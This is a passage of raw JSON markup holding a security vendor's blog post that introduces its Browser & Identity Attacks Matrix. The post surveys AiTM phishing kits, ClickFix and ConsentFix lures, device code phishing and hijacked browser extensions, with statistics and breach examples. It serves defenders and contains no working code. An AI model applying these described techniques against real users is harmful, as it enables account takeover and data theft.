,12660,12668,12686,12693,12700,12716,12724,12753,12769,12776,12803,12811,12841,12848,12856,12874,12881,12888,12894,12901,12909,12927,12934,12953,12960,12963,12971,12978,13063,13070,13086,13089,13119,13137,13144,13151,13154,13162,13180,13187,13194,13211,13214,13222,13229,13262,13269,13286,13304,13310,13313,13320],{"data":12515,"content":12516,"nodeType":866},{},[12517,12521,12529],{"data":12518,"marks":12519,"value":12520,"nodeType":865},{},[],"When we released the ",{"data":12522,"content":12524,"nodeType":889},{"uri":12523},"https://pushsecurity.com/blog/saas-attack-techniques/",[12525],{"data":12526,"marks":12527,"value":12528,"nodeType":865},{},[],"SaaS attack matrix",{"data":12530,"marks":12531,"value":12532,"nodeType":865},{},[]," in 2023, we were anticipating a shift that was just beginning to take shape. The techniques that attackers were using to compromise cloud applications and identities weren't well represented in existing frameworks, and many of the ones we documented hadn't yet been widely observed in the wild.",{"data":12534,"content":12535,"nodeType":866},{},[12536,12540,12548],{"data":12537,"marks":12538,"value":12539,"nodeType":865},{},[],"A year later, we ",{"data":12541,"content":12543,"nodeType":889},{"uri":12542},"https://pushsecurity.com/blog/the-saas-attack-matrix-one-year-on/",[12544],{"data":12545,"marks":12546,"value":12547,"nodeType":865},{},[],"reviewed what had changed",{"data":12549,"marks":12550,"value":12551,"nodeType":865},{},[]," and found that the initial access phase — the techniques designed to compromise an identity in the first place — was where almost all of the attacker innovation was concentrated. And two years on, that trend has become the story of the modern threat landscape. ",{"data":12553,"content":12554,"nodeType":866},{},[12555,12559,12565],{"data":12556,"marks":12557,"value":12558,"nodeType":865},{},[],"Today, we're re-releasing the matrix as the ",{"data":12560,"content":12561,"nodeType":889},{"uri":8393},[12562],{"data":12563,"marks":12564,"value":8396,"nodeType":865},{},[],{"data":12566,"marks":12567,"value":12568,"nodeType":865},{},[],". The name change isn't cosmetic. It reflects that the attacks driving the most consequential breaches are browser-based and identity-first.",{"data":12570,"content":12574,"nodeType":912},{"target":12571},{"sys":12572},{"id":12573,"type":909,"linkType":910},"MSnrBRJtiQxpv2qxFLCVE",[],{"data":12576,"content":12577,"nodeType":972},{},[],{"data":12579,"content":12580,"nodeType":981},{},[12581],{"data":12582,"marks":12583,"value":12585,"nodeType":865},{},[12584],{"type":926},"Why the scope needed to change",{"data":12587,"content":12588,"nodeType":866},{},[12589],{"data":12590,"marks":12591,"value":12592,"nodeType":865},{},[],"The original SaaS attack matrix was built around a specific insight: that attacks targeting modern business applications played out entirely over the internet, without touching endpoints or internal networks in any way that EDR or network detection tools would recognize.",{"data":12594,"content":12595,"nodeType":866},{},[12596],{"data":12597,"marks":12598,"value":12599,"nodeType":865},{},[],"That framing was useful, and it remains true. But it anchored the matrix to the post-access phase — what attackers do once they're inside a SaaS application — and didn't give enough weight to the initial access techniques that determine whether attackers get there in the first place.",{"data":12601,"content":12602,"nodeType":866},{},[12603],{"data":12604,"marks":12605,"value":12606,"nodeType":865},{},[],"The problem is that initial access is where the overwhelming majority of attacker innovation and investment is concentrated, and the techniques being used to achieve it are best understood as browser and identity attacks rather than SaaS-specific ones. AiTM phishing, ClickFix and its growing family of clipboard-injection variants, device code phishing, OAuth consent abuse, credential stuffing powered by infostealer supply chains, malicious browser extensions all happen in or via the browser.",{"data":12608,"content":12609,"nodeType":866},{},[12610],{"data":12611,"marks":12612,"value":12613,"nodeType":865},{},[],"Another issue is that \"SaaS\" has arguably ceased to be a meaningful category. When we consider that most organizations run the majority of their business on cloud applications, the difference between what constitutes \"SaaS\" versus cloud versus just \"business IT\" is pretty blurry (and feels like an academic rather than practical difference).",{"data":12615,"content":12616,"nodeType":866},{},[12617],{"data":12618,"marks":12619,"value":12621,"nodeType":865},{},[12620],{"type":926},"So it's less about whether an attack is a \"SaaS attack\" and more about how these attacks actually play out. ",{"data":12623,"content":12624,"nodeType":972},{},[],{"data":12626,"content":12627,"nodeType":981},{},[12628],{"data":12629,"marks":12630,"value":12632,"nodeType":865},{},[12631],{"type":926},"The technique landscape has transformed",{"data":12634,"content":12635,"nodeType":866},{},[12636],{"data":12637,"marks":12638,"value":12639,"nodeType":865},{},[],"The second part to the change is the fact that scale and speed of attacker innovation in the space justifies it.",{"data":12641,"content":12642,"nodeType":866},{},[12643],{"data":12644,"marks":12645,"value":12646,"nodeType":865},{},[],"When we launched the matrix in mid-2023, AiTM phishing was emerging as a serious concern but was far from ubiquitous. ClickFix didn't exist as a named technique. Device code phishing was a curiosity documented by a handful of researchers. ConsentFix was years away from being discovered. Browser extension supply chain attacks were rare enough to be individually notable.",{"data":12648,"content":12649,"nodeType":866},{},[12650],{"data":12651,"marks":12652,"value":12653,"nodeType":865},{},[],"In the two and a half years since, every one of these has become a mainstream, industrialized attack technique — and several have converged in ways that would have been hard to predict.",{"data":12655,"content":12659,"nodeType":912},{"target":12656},{"sys":12657},{"id":12658,"type":909,"linkType":910},"5Kw2kSrL8u4VyslxK8HCtR",[],{"data":12661,"content":12662,"nodeType":1317},{},[12663],{"data":12664,"marks":12665,"value":12667,"nodeType":865},{},[12666],{"type":926},"AiTM phishing has become the default phishing method",{"data":12669,"content":12670,"nodeType":866},{},[12671,12675,12682],{"data":12672,"marks":12673,"value":12674,"nodeType":865},{},[],"AiTM phishing is now the standard, powered by Phishing-as-a-Service kits that operate with the release cycles and customer support of legitimate SaaS products. Tycoon 2FA alone accounted for ",{"data":12676,"content":12677,"nodeType":889},{"uri":4813},[12678],{"data":12679,"marks":12680,"value":12681,"nodeType":865},{},[],"62% of phishing detected by Microsoft",{"data":12683,"marks":12684,"value":12685,"nodeType":865},{},[]," and over 64,000 confirmed incidents, with Sneaky2FA, FlowerStorm, Evilginx, and a growing roster of competitors filling out the marketplace.",{"data":12687,"content":12688,"nodeType":866},{},[12689],{"data":12690,"marks":12691,"value":12692,"nodeType":865},{},[],"AiTM is constantly evolving, with vendors adding new features, capabilities, detection evasion techniques, and so on. Abuse of legitimate platforms, and increasingly AI-assisted development means that it’s trivial for attackers to spin up and tear down infrastructure, scale their campaigns, target specific organizations with crafted pages and lures, and generally means that attackers can operate highly sophisticated attacks with minimal effort and complexity. This makes AiTM and other PhaaS-powered techniques extremely accessible to all kinds of criminals.  ",{"data":12694,"content":12695,"nodeType":866},{},[12696],{"data":12697,"marks":12698,"value":12699,"nodeType":865},{},[],"These kits are delivered across several browser-based channels — not just email. Push data consistently shows that roughly 1 in 3 phishing payloads we intercept arrive via social media, search ads, messaging apps, or other non-email vectors.",{"data":12701,"content":12702,"nodeType":866},{},[12703,12707,12712],{"data":12704,"marks":12705,"value":12706,"nodeType":865},{},[],"Vishing has also surged as a delivery channel — CrowdStrike documented a ",{"data":12708,"marks":12709,"value":12711,"nodeType":865},{},[12710],{"type":926},"442% year-over-year increase",{"data":12713,"marks":12714,"value":12715,"nodeType":865},{},[],", and Mandiant found it was the single most common initial vector in cloud compromises at 23%. But the trend that matters isn't voice calls in isolation; it's voice calls combined with browser-based payloads, where a live operator guides the victim into an AiTM page or device code flow that the call alone could not execute.",{"data":12717,"content":12718,"nodeType":1317},{},[12719],{"data":12720,"marks":12721,"value":12723,"nodeType":865},{},[12722],{"type":926},"ClickFix is the top reported initial access vector",{"data":12725,"content":12726,"nodeType":866},{},[12727,12731,12738,12742,12749],{"data":12728,"marks":12729,"value":12730,"nodeType":865},{},[],"ClickFix has gone from nonexistent to one of the most prevalent initial access techniques in under 18 months. Microsoft reported it as the ",{"data":12732,"content":12733,"nodeType":889},{"uri":6864},[12734],{"data":12735,"marks":12736,"value":12737,"nodeType":865},{},[],"most common initial access vector in 2025",{"data":12739,"marks":12740,"value":12741,"nodeType":865},{},[],", accounting for 47% of observed attacks, while CrowdStrike documented a ",{"data":12743,"content":12744,"nodeType":889},{"uri":1929},[12745],{"data":12746,"marks":12747,"value":12748,"nodeType":865},{},[],"563% increase",{"data":12750,"marks":12751,"value":12752,"nodeType":865},{},[]," in fake CAPTCHA lures (a top ClickFix style).",{"data":12754,"content":12755,"nodeType":866},{},[12756,12760,12765],{"data":12757,"marks":12758,"value":12759,"nodeType":865},{},[],"ClickFix is admittedly an outlier in a browser attacks matrix — the payload ultimately executes on the endpoint, not in the browser — but the delivery is overwhelmingly browser-based: ",{"data":12761,"marks":12762,"value":12764,"nodeType":865},{},[12763],{"type":926},"4 in 5 ClickFix payloads",{"data":12766,"marks":12767,"value":12768,"nodeType":865},{},[]," intercepted by Push arrive via search engines as a result of malvertising or compromised web pages, not email, which means the browser is the only control point that actually sees the attack before the user pastes the malicious command.",{"data":12770,"content":12771,"nodeType":866},{},[12772],{"data":12773,"marks":12774,"value":12775,"nodeType":865},{},[],"ClickFix is now the primary delivery mechanism for infostealer malware, which is in turn the primary source of the stolen credentials and session tokens that power credential stuffing and session hijacking — which means the technique sits at the start of a cycle where one class of browser-delivered attack generates the raw material for the next.",{"data":12777,"content":12778,"nodeType":866},{},[12779,12783,12789,12793,12799],{"data":12780,"marks":12781,"value":12782,"nodeType":865},{},[],"The success of ClickFix has predictably spawned a growing family of derivatives — FileFix, CrashFix, ",{"data":12784,"content":12785,"nodeType":889},{"uri":7712},[12786],{"data":12787,"marks":12788,"value":8158,"nodeType":865},{},[],{"data":12790,"marks":12791,"value":12792,"nodeType":865},{},[]," — and much of the naming is marketing hype around variations on the same clipboard-injection mechanic. But ",{"data":12794,"content":12795,"nodeType":889},{"uri":7472},[12796],{"data":12797,"marks":12798,"value":7465,"nodeType":865},{},[],{"data":12800,"marks":12801,"value":12802,"nodeType":865},{},[]," was a genuinely novel development.",{"data":12804,"content":12805,"nodeType":1317},{},[12806],{"data":12807,"marks":12808,"value":12810,"nodeType":865},{},[12809],{"type":926},"Browser-native ClickFix: ConsentFix",{"data":12812,"content":12813,"nodeType":866},{},[12814,12818,12826,12830,12837],{"data":12815,"marks":12816,"value":12817,"nodeType":865},{},[],"ConsentFix is a fully browser-native attack that merged ClickFix-style social engineering with OAuth consent abuse, compromising accounts through a legitimate Microsoft authorization flow with no endpoint component at all. ConsentFix was ",{"data":12819,"content":12821,"nodeType":889},{"uri":12820},"https://pushsecurity.com/blog/consentfix-debrief/",[12822],{"data":12823,"marks":12824,"value":12825,"nodeType":865},{},[],"traced to APT29",{"data":12827,"marks":12828,"value":12829,"nodeType":865},{},[]," and has since been ",{"data":12831,"content":12832,"nodeType":889},{"uri":5739},[12833],{"data":12834,"marks":12835,"value":12836,"nodeType":865},{},[],"commercialized on criminal forums",{"data":12838,"marks":12839,"value":12840,"nodeType":865},{},[],", following the same path from state-sponsored technique to commodity criminal tooling that we've seen repeatedly in this space.",{"data":12842,"content":12843,"nodeType":866},{},[12844],{"data":12845,"marks":12846,"value":12847,"nodeType":865},{},[],"ConsentFix demonstrates that the clipboard-injection mechanic can evolve into something that operates entirely within the browser, eliminating the endpoint detection surface that traditional ClickFix still exposed.",{"data":12849,"content":12850,"nodeType":1317},{},[12851],{"data":12852,"marks":12853,"value":12855,"nodeType":865},{},[12854],{"type":926},"Attackers have pivoted to authorization attacks to get around login controls",{"data":12857,"content":12858,"nodeType":866},{},[12859,12863,12870],{"data":12860,"marks":12861,"value":12862,"nodeType":865},{},[],"Authorization attacks like device code phishing have seen a ",{"data":12864,"content":12865,"nodeType":889},{"uri":1951},[12866],{"data":12867,"marks":12868,"value":12869,"nodeType":865},{},[],"37.5x increase",{"data":12871,"marks":12872,"value":12873,"nodeType":865},{},[]," since the start of 2026, with at least 12 distinct kits now offering the technique. It bypasses standard authentication controls — including passkeys — because the attack occurs through the OAuth device authorization flow rather than the standard login flow. ",{"data":12875,"content":12876,"nodeType":866},{},[12877],{"data":12878,"marks":12879,"value":12880,"nodeType":865},{},[],"The technique was first associated with nation-state actors like Storm-2372, but went from espionage-grade to commodity PhaaS tooling in roughly eighteen months, with kits like EvilTokens and Venom now offering turnkey device code phishing as a service.",{"data":12882,"content":12883,"nodeType":866},{},[12884],{"data":12885,"marks":12886,"value":12887,"nodeType":865},{},[],"The device code authorization is effectively performed post-authentication. If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. No password or MFA required. You can see an example in the video below.",{"data":12889,"content":12893,"nodeType":912},{"target":12890},{"sys":12891},{"id":12892,"type":909,"linkType":910},"2WPb41lNRajdpt5pogQg8M",[],{"data":12895,"content":12896,"nodeType":866},{},[12897],{"data":12898,"marks":12899,"value":12900,"nodeType":865},{},[],"And the ecosystem is adapting to this opportunity: established AiTM vendors like Tycoon are adding authorization-focused options alongside their existing credential-harvesting capabilities, which points toward multi-technique platforms where operators pick the right tool for whatever defenses the target has in place.",{"data":12902,"content":12903,"nodeType":1317},{},[12904],{"data":12905,"marks":12906,"value":12908,"nodeType":865},{},[12907],{"type":926},"Malicious and hacked browser extensions are one of the fastest growing threats",{"data":12910,"content":12911,"nodeType":866},{},[12912,12916,12923],{"data":12913,"marks":12914,"value":12915,"nodeType":865},{},[],"Malicious browser extensions have matured from an occasional nuisance into a scalable supply chain attack vector. The ",{"data":12917,"content":12918,"nodeType":889},{"uri":3720},[12919],{"data":12920,"marks":12921,"value":12922,"nodeType":865},{},[],"Cyberhaven compromise",{"data":12924,"marks":12925,"value":12926,"nodeType":865},{},[]," in December 2024 — where approximately 35 extensions were weaponized through a single OAuth phishing campaign targeting developers — impacted 2.6 million users and demonstrated that extension supply chain attacks can achieve the kind of reach that used to require a compromised software update server.",{"data":12928,"content":12929,"nodeType":866},{},[12930],{"data":12931,"marks":12932,"value":12933,"nodeType":865},{},[],"Since Cyberhaven, the pace has only accelerated. In 2026 alone, researchers have publicly disclosed at least 250 confirmed malicious browser extensions affecting roughly 1.75 million users, alongside a further 370+ extensions engaged in undisclosed or policy-disclosed data harvesting affecting an additional 44 million users. That doesn't count the extensions from late-2025 campaigns (DarkSpectre, AITOPIA, Trust Wallet) whose impacts carried into 2026.",{"data":12935,"content":12936,"nodeType":866},{},[12937,12941,12949],{"data":12938,"marks":12939,"value":12940,"nodeType":865},{},[],"The attack paths have also expanded. Beyond phishing developers for take over Web Store accounts (the Cyberhaven playbook), attackers are buying existing extensions from developers, waiting for ownership transfers or abandonments to take over, and increasingly vibe-coding their own functional extensions from scratch to build an audience that can later be weaponized. The common thread is that ",{"data":12942,"content":12943,"nodeType":889},{"uri":3720},[12944],{"data":12945,"marks":12946,"value":12948,"nodeType":865},{},[12947],{"type":943},"most malicious extensions didn't start out malicious",{"data":12950,"marks":12951,"value":12952,"nodeType":865},{},[]," — they started as legitimate tools and were turned into weapons after the fact.",{"data":12954,"content":12955,"nodeType":866},{},[12956],{"data":12957,"marks":12958,"value":12959,"nodeType":865},{},[],"None of this is happening in isolation. The threat landscape has reoriented around browser-based initial access and identity compromise — and the matrix needed to catch up.",{"data":12961,"content":12962,"nodeType":972},{},[],{"data":12964,"content":12965,"nodeType":981},{},[12966],{"data":12967,"marks":12968,"value":12970,"nodeType":865},{},[12969],{"type":926},"The evolution is playing out in public breaches",{"data":12972,"content":12973,"nodeType":866},{},[12974],{"data":12975,"marks":12976,"value":12977,"nodeType":865},{},[],"It’s worth reinforcing that when the SaaS matrix was first released, many of these attacks hadn’t been seen in the wild. The change today is staggering:",{"data":12979,"content":12980,"nodeType":1616},{},[12981,13001,13023,13043],{"data":12982,"content":12983,"nodeType":1570},{},[12984],{"data":12985,"content":12986,"nodeType":866},{},[12987,12991,12997],{"data":12988,"marks":12989,"value":12990,"nodeType":865},{},[],"When ",{"data":12992,"content":12993,"nodeType":889},{"uri":4991},[12994],{"data":12995,"marks":12996,"value":8673,"nodeType":865},{},[],{"data":12998,"marks":12999,"value":13000,"nodeType":865},{},[]," compromised over a thousand organizations' Salesforce tenants through device code phishing, the attack started with a phone call, moved through a browser-based authorization flow for the attacker’s app, and ended with mass data exfiltration via API.",{"data":13002,"content":13003,"nodeType":1570},{},[13004],{"data":13005,"content":13006,"nodeType":866},{},[13007,13011,13019],{"data":13008,"marks":13009,"value":13010,"nodeType":865},{},[],"When the same collective launched ",{"data":13012,"content":13014,"nodeType":889},{"uri":13013},"https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign/",[13015],{"data":13016,"marks":13017,"value":13018,"nodeType":865},{},[],"AiTM phishing campaigns",{"data":13020,"marks":13021,"value":13022,"nodeType":865},{},[]," targeting Okta and Entra SSO, the phishing page was operated by a human in real time and delivered over a voice call — not email.",{"data":13024,"content":13025,"nodeType":1570},{},[13026],{"data":13027,"content":13028,"nodeType":866},{},[13029,13032,13039],{"data":13030,"marks":13031,"value":12990,"nodeType":865},{},[],{"data":13033,"content":13034,"nodeType":889},{"uri":7472},[13035],{"data":13036,"marks":13037,"value":13038,"nodeType":865},{},[],"APT29 deployed ConsentFix",{"data":13040,"marks":13041,"value":13042,"nodeType":865},{},[]," across dozens of compromised websites, the entire attack chain was browser-native, abusing a legitimate Microsoft OAuth flow to bypass MFA without proxying a single credential.",{"data":13044,"content":13045,"nodeType":1570},{},[13046],{"data":13047,"content":13048,"nodeType":866},{},[13049,13052,13059],{"data":13050,"marks":13051,"value":1449,"nodeType":865},{},[],{"data":13053,"content":13055,"nodeType":889},{"uri":13054},"https://pushsecurity.com/blog/identity-attacks-in-the-wild/#id-snowflake-june-2024",[13056],{"data":13057,"marks":13058,"value":3493,"nodeType":865},{},[],{"data":13060,"marks":13061,"value":13062,"nodeType":865},{},[]," — arguably the most consequential credential-based campaign of the past several years — saw 165 organizations breached using credentials that had been sitting in infostealer dumps for years, replayed against Snowflake tenants that lacked mandatory MFA. The attack surface wasn't Snowflake's application logic; it was the identity hygiene gap that every organization carries across hundreds of apps.",{"data":13064,"content":13065,"nodeType":866},{},[13066],{"data":13067,"marks":13068,"value":13069,"nodeType":865},{},[],"And that’s just the big picture. Every month we’re tracking new public breaches involving browser and identity TTPs — which again, are just the tip of the iceberg when you consider that many breaches are settled quietly without hitting the headlines. ",{"data":13071,"content":13072,"nodeType":866},{},[13073,13077,13082],{"data":13074,"marks":13075,"value":13076,"nodeType":865},{},[],"One of the key drivers here is the shrinking time-to-exploit. CrowdStrike's average e-crime breakout time is down to ",{"data":13078,"marks":13079,"value":13081,"nodeType":865},{},[13080],{"type":926},"29 minutes",{"data":13083,"marks":13084,"value":13085,"nodeType":865},{},[],", with the fastest recorded at 27 seconds. When attackers can move from initial access to data exfiltration within minutes, the window for post-compromise detection collapses to near zero. The best chance of stopping the attack is at the point of initial access before the identity is compromised.",{"data":13087,"content":13088,"nodeType":972},{},[],{"data":13090,"content":13091,"nodeType":981},{},[13092,13097,13103,13108,13114],{"data":13093,"marks":13094,"value":13096,"nodeType":865},{},[13095],{"type":926},"Sidenote: why we're looking at attacks ",{"data":13098,"marks":13099,"value":13102,"nodeType":865},{},[13100,13101],{"type":898},{"type":926},"in",{"data":13104,"marks":13105,"value":13107,"nodeType":865},{},[13106],{"type":926}," the browser, not ",{"data":13109,"marks":13110,"value":13113,"nodeType":865},{},[13111,13112],{"type":898},{"type":926},"on",{"data":13115,"marks":13116,"value":13118,"nodeType":865},{},[13117],{"type":926}," the browser",{"data":13120,"content":13121,"nodeType":866},{},[13122,13126,13133],{"data":13123,"marks":13124,"value":13125,"nodeType":865},{},[],"Calling this a \"browser attacks\" matrix needs clarification. We're not talking about browser exploits — RCE vulnerabilities, sandbox escapes, memory corruption bugs. Those attacks target the browser itself, they're extraordinarily expensive to develop, and they're increasingly rare. Browser zero-days hit a ",{"data":13127,"content":13128,"nodeType":889},{"uri":7959},[13129],{"data":13130,"marks":13131,"value":13132,"nodeType":865},{},[],"historic low of 9%",{"data":13134,"marks":13135,"value":13136,"nodeType":865},{},[]," of all zero-days reported to Google, and a Chrome RCE commands a $250,000 bug bounty.",{"data":13138,"content":13139,"nodeType":866},{},[13140],{"data":13141,"marks":13142,"value":13143,"nodeType":865},{},[],"In comparison, a one-year phishing kit rental costs $1,000. A bulk stolen credential list costs $15. An initial-access-broker-provided IdP admin account costs $3,000. When it costs orders of magnitude less to exploit the person using the browser than to exploit the browser itself, attackers will take the cheaper option every time.",{"data":13145,"content":13146,"nodeType":866},{},[13147],{"data":13148,"marks":13149,"value":13150,"nodeType":865},{},[],"It's worth heading off the obvious counterargument: won't AI-assisted vulnerability discovery eventually make browser exploits cheaper? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.",{"data":13152,"content":13153,"nodeType":972},{},[],{"data":13155,"content":13156,"nodeType":981},{},[13157],{"data":13158,"marks":13159,"value":13161,"nodeType":865},{},[13160],{"type":926},"What hasn't changed",{"data":13163,"content":13164,"nodeType":866},{},[13165,13169,13176],{"data":13166,"marks":13167,"value":13168,"nodeType":865},{},[],"The matrix remains open-source, community-maintained, and available on ",{"data":13170,"content":13172,"nodeType":889},{"uri":13171},"https://github.com/pushsecurity/saas-attacks",[13173],{"data":13174,"marks":13175,"value":11198,"nodeType":865},{},[],{"data":13177,"marks":13178,"value":13179,"nodeType":865},{},[],". The goal is the same as it was in 2023: to give offensive and defensive security teams a shared reference point for the techniques that matter most.",{"data":13181,"content":13182,"nodeType":866},{},[13183],{"data":13184,"marks":13185,"value":13186,"nodeType":865},{},[],"We built it because there was a gap in how the industry talked about these techniques, and that gap still exists — MITRE ATT&CK remains essential for endpoint and network TTPs, but the browser-based, identity-first techniques behind most modern breaches are still underrepresented in traditional frameworks.",{"data":13188,"content":13189,"nodeType":866},{},[13190],{"data":13191,"marks":13192,"value":13193,"nodeType":865},{},[],"We continue to maintain the matrix with input from red teams, detection engineers, and threat researchers across the community. Some of the most valuable additions over the past two years have come from practitioners who encountered a technique on an engagement or in an investigation and contributed it back to the repository.",{"data":13195,"content":13196,"nodeType":866},{},[13197,13201,13208],{"data":13198,"marks":13199,"value":13200,"nodeType":865},{},[],"If you're an offensive security professional using these techniques on engagements, or a defender building detections against them, we want to hear from you. Submit a PR, open a discussion, or flag a technique we've missed on ",{"data":13202,"content":13204,"nodeType":889},{"uri":13203},"https://github.com/pushsecurity/browser-identity-attacks-matrix",[13205],{"data":13206,"marks":13207,"value":11198,"nodeType":865},{},[],{"data":13209,"marks":13210,"value":1615,"nodeType":865},{},[],{"data":13212,"content":13213,"nodeType":972},{},[],{"data":13215,"content":13216,"nodeType":981},{},[13217],{"data":13218,"marks":13219,"value":13221,"nodeType":865},{},[13220],{"type":926},"Looking ahead",{"data":13223,"content":13224,"nodeType":866},{},[13225],{"data":13226,"marks":13227,"value":13228,"nodeType":865},{},[],"The pace of attacker innovation in browser-based initial access techniques over the past 18 months has been unlike anything we've tracked before — technique after technique moving from research curiosity to industrialized criminal tooling within months, not years.",{"data":13230,"content":13231,"nodeType":1616},{},[13232,13242,13252],{"data":13233,"content":13234,"nodeType":1570},{},[13235],{"data":13236,"content":13237,"nodeType":866},{},[13238],{"data":13239,"marks":13240,"value":13241,"nodeType":865},{},[],"AiTM platforms are adding authorization-based attack options alongside their credential-harvesting capabilities.",{"data":13243,"content":13244,"nodeType":1570},{},[13245],{"data":13246,"content":13247,"nodeType":866},{},[13248],{"data":13249,"marks":13250,"value":13251,"nodeType":865},{},[],"ClickFix has spawned fully browser-native variants.",{"data":13253,"content":13254,"nodeType":1570},{},[13255],{"data":13256,"content":13257,"nodeType":866},{},[13258],{"data":13259,"marks":13260,"value":13261,"nodeType":865},{},[],"AI is lowering the cost of producing convincing social engineering and phishing infrastructure at scale.",{"data":13263,"content":13264,"nodeType":866},{},[13265],{"data":13266,"marks":13267,"value":13268,"nodeType":865},{},[],"We don't see any of this slowing down, and that's exactly why thinking about these attacks as a browser problem instead of siloing them across email, endpoint, network, and cloud categories, each with a partial view of the picture (and still missing the whole when combined).",{"data":13270,"content":13271,"nodeType":866},{},[13272,13276,13283],{"data":13273,"marks":13274,"value":13275,"nodeType":865},{},[],"The Browser & Identity Attacks Matrix is our contribution to keeping that shared understanding current. You can ",{"data":13277,"content":13278,"nodeType":889},{"uri":8393},[13279],{"data":13280,"marks":13281,"value":13282,"nodeType":865},{},[],"explore the matrix here",{"data":13284,"marks":13285,"value":1615,"nodeType":865},{},[],{"data":13287,"content":13288,"nodeType":866},{},[13289,13293,13300],{"data":13290,"marks":13291,"value":13292,"nodeType":865},{},[],"You can also read our recent ",{"data":13294,"content":13295,"nodeType":889},{"uri":1419},[13296],{"data":13297,"marks":13298,"value":13299,"nodeType":865},{},[],"browser attack techniques report",{"data":13301,"marks":13302,"value":13303,"nodeType":865},{},[]," for more information.",{"data":13305,"content":13309,"nodeType":912},{"target":13306},{"sys":13307},{"id":13308,"type":909,"linkType":910},"1hx6sxpyEzxn4F4jc1RGQi",[],{"data":13311,"content":13312,"nodeType":972},{},[],{"data":13314,"content":13315,"nodeType":866},{},[13316],{"data":13317,"marks":13318,"value":13319,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.",{"data":13321,"content":13322,"nodeType":866},{},[13323,13326,13332],{"data":13324,"marks":13325,"value":2290,"nodeType":865},{},[],{"data":13327,"content":13328,"nodeType":889},{"uri":1372},[13329],{"data":13330,"marks":13331,"value":2298,"nodeType":865},{},[],{"data":13333,"marks":13334,"value":2302,"nodeType":865},{},[],"Introducing the Browser & Identity Attacks Matrix","We're re-releasing the SaaS attack matrix as the Browser & Identity Attacks Matrix. Here's why we've decided to make the change and what it means.","2026-05-08T00:00:00.000Z","introducing-the-browser-and-identity-attacks-matrix",{"items":13340},[13341,13343],{"sys":13342,"name":7796},{"id":7795},{"sys":13344,"name":342},{"id":4642},{"items":13346},[13347],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":13348},{"url":7804},"7-things-we-learned-from-matt-johansen","blog/7-things-we-learned-from-matt-johansen",{"json":13352},{"data":13353,"content":13354,"nodeType":1382},{},[13355],{"data":13356,"content":13357,"nodeType":866},{},[13358,13362,13369],{"data":13359,"marks":13360,"value":13361,"nodeType":865},{},[],"In the final installment of our ",{"data":13363,"content":13364,"nodeType":889},{"uri":8343},[13365],{"data":13366,"marks":13367,"value":13368,"nodeType":865},{},[],"State of Browser Attacks series",{"data":13370,"marks":13371,"value":13372,"nodeType":865},{},[],", Push Field CTO Mark Orlando sat down with Matt Johansen, security veteran, former Reddit security lead, and founder of the Vulnerable U newsletter, to talk about what's actually working in security and what's just theater. Here are seven takeaways from the conversation.","What we learned from sitting down with Matt Johansen to discuss the difference between security theater and security that actually works. ",{"id":13375,"publishedAt":13376},"3EM39T0mqy5DscsNSact3Z","2026-08-12T12:00:52.913Z",{"items":13378},[13379,13381],{"sys":13380,"name":297},{"id":2310},{"sys":13382,"name":2314},{"id":2313},{"items":13384},[13385,13387,13389,13391,13393,13395,13397,13399,13401,13403,13405,13407,13409,13411,13413,13415,13417,13419],{"sys":13386,"name":279,"slug":280,"tier":31},{"id":276},{"sys":13388,"name":413,"slug":414,"tier":31},{"id":410},{"sys":13390,"name":297,"slug":298,"tier":31},{"id":294},{"sys":13392,"name":519,"slug":520,"tier":31},{"id":516},{"sys":13394,"name":261,"slug":262,"tier":45},{"id":258},{"sys":13396,"name":315,"slug":316,"tier":45},{"id":312},{"sys":13398,"name":466,"slug":467,"tier":45},{"id":463},{"sys":13400,"name":511,"slug":512,"tier":45},{"id":508},{"sys":13402,"name":571,"slug":572,"tier":45},{"id":568},{"sys":13404,"name":360,"slug":361,"tier":45},{"id":357},{"sys":13406,"name":288,"slug":289,"tier":45},{"id":285},{"sys":13408,"name":607,"slug":608,"tier":45},{"id":604},{"sys":13410,"name":554,"slug":555,"tier":45},{"id":551},{"sys":13412,"name":457,"slug":458,"tier":45},{"id":454},{"sys":13414,"name":484,"slug":485,"tier":45},{"id":481},{"sys":13416,"name":333,"slug":334,"tier":45},{"id":330},{"sys":13418,"name":422,"slug":423,"tier":45},{"id":419},{"sys":13420,"name":244,"slug":245,"tier":45},{"id":241},"AunB53ENgDXpGtfck0wVIWIMH2JNgreFpn5xEkZdVmo",{"id":13423,"title":13424,"authorsCollection":13425,"content":13429,"extension":228,"faqItemsCollection":14080,"faqTitle":59,"featured":6,"hashTags":59,"meta":14082,"metaTitle":14083,"ogImage":59,"postType":1424,"publishedDate":14084,"relatedBlogPostsCollection":14085,"slug":16382,"stem":16383,"subtitle":59,"summary":16384,"synopsis":16407,"sys":16408,"tagsCollection":16411,"topicsCollection":16417,"__hash__":16463},"blog/blog/7-things-we-learned-from-troy-hunt.json","Troy Hunt webinar recap: Lessons from 'Yes, you've been pwned' with Troy Hunt",{"items":13426},[13427],{"fullName":7867,"firstName":7868,"jobTitle":7869,"socialLinks":59,"profilePicture":13428},{"url":7871},{"json":13430,"links":14071},{"data":13431,"content":13432,"nodeType":1382},{},[13433,13440,13446,13449,13457,13475,13482,13489,13517,13536,13539,13547,13554,13582,13589,13592,13600,13607,13614,13654,13661,13664,13672,13703,13710,13717,13748,13751,13759,13779,13786,13804,13807,13815,13822,13840,13881,13884,13892,13899,13937,13966,14016,14019,14027,14034,14041],{"data":13434,"content":13435,"nodeType":866},{},[13436],{"data":13437,"marks":13438,"value":13439,"nodeType":865},{},[],"The thread running through the whole conversation was identity: how attackers get it, why defenders struggle to protect it, and what the current generation of attacks means for security teams that thought they'd solved the credential 